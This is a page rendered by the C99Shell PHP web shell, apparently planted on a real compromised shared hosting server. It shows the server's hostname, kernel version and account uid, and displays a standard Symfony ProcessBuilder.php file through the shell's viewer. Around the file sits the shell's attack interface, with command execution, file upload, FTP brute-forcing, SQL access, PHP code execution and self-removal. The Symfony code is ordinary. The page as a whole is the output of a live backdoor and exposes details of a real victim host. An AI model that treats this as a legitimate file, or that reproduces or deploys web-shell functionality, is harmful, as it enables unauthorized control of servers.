!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php53/usr/share/pear/Symfony/Component/Process/   drwxr-xr-x
Free 293.97 GB of 429.69 GB (68.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ProcessBuilder.php (3.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process;

use 
Symfony\Component\Process\Exception\InvalidArgumentException;
use 
Symfony\Component\Process\Exception\LogicException;

/**
 * Process builder.
 *
 * @author Kris Wallsmith <kris@symfony.com>
 */
class ProcessBuilder
{
    private 
$arguments;
    private 
$cwd;
    private 
$env = array();
    private 
$stdin;
    private 
$timeout 60;
    private 
$options = array();
    private 
$inheritEnv true;
    private 
$prefix = array();

    public function 
__construct(array $arguments = array())
    {
        
$this->arguments $arguments;
    }

    public static function 
create(array $arguments = array())
    {
        return new static(
$arguments);
    }

    
/**
     * Adds an unescaped argument to the command string.
     *
     * @param string $argument A command argument
     *
     * @return ProcessBuilder
     */
    
public function add($argument)
    {
        
$this->arguments[] = $argument;

        return 
$this;
    }

    
/**
     * Adds an unescaped prefix to the command string.
     *
     * The prefix is preserved when resetting arguments.
     *
     * @param string|array $prefix A command prefix or an array of command prefixes
     *
     * @return ProcessBuilder
     */
    
public function setPrefix($prefix)
    {
        
$this->prefix is_array($prefix) ? $prefix : array($prefix);

        return 
$this;
    }

    
/**
     * @param array $arguments
     *
     * @return ProcessBuilder
     */
    
public function setArguments(array $arguments)
    {
        
$this->arguments $arguments;

        return 
$this;
    }

    public function 
setWorkingDirectory($cwd)
    {
        
$this->cwd $cwd;

        return 
$this;
    }

    public function 
inheritEnvironmentVariables($inheritEnv true)
    {
        
$this->inheritEnv $inheritEnv;

        return 
$this;
    }

    public function 
setEnv($name$value)
    {
        
$this->env[$name] = $value;

        return 
$this;
    }

    public function 
addEnvironmentVariables(array $variables)
    {
        
$this->env array_replace($this->env$variables);

        return 
$this;
    }

    public function 
setInput($stdin)
    {
        
$this->stdin $stdin;

        return 
$this;
    }

    
/**
     * Sets the process timeout.
     *
     * To disable the timeout, set this value to null.
     *
     * @param float|null
     *
     * @return ProcessBuilder
     *
     * @throws InvalidArgumentException
     */
    
public function setTimeout($timeout)
    {
        if (
null === $timeout) {
            
$this->timeout null;

            return 
$this;
        }

        
$timeout = (float) $timeout;

        if (
$timeout 0) {
            throw new 
InvalidArgumentException('The timeout value must be a valid positive integer or float number.');
        }

        
$this->timeout $timeout;

        return 
$this;
    }

    public function 
setOption($name$value)
    {
        
$this->options[$name] = $value;

        return 
$this;
    }

    public function 
getProcess()
    {
        if (
=== count($this->prefix) && === count($this->arguments)) {
            throw new 
LogicException('You must add() command arguments before calling getProcess().');
        }

        
$options $this->options;

        
$arguments array_merge($this->prefix$this->arguments);
        
$script implode(' 'array_map(array(__NAMESPACE__.'\\ProcessUtils''escapeArgument'), $arguments));

        if (
$this->inheritEnv) {
            
// include $_ENV for BC purposes
            
$env array_replace($_ENV$_SERVER$this->env);
        } else {
            
$env $this->env;
        }

        return new 
Process($script$this->cwd$env$this->stdin$this->timeout$options);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0044 ]--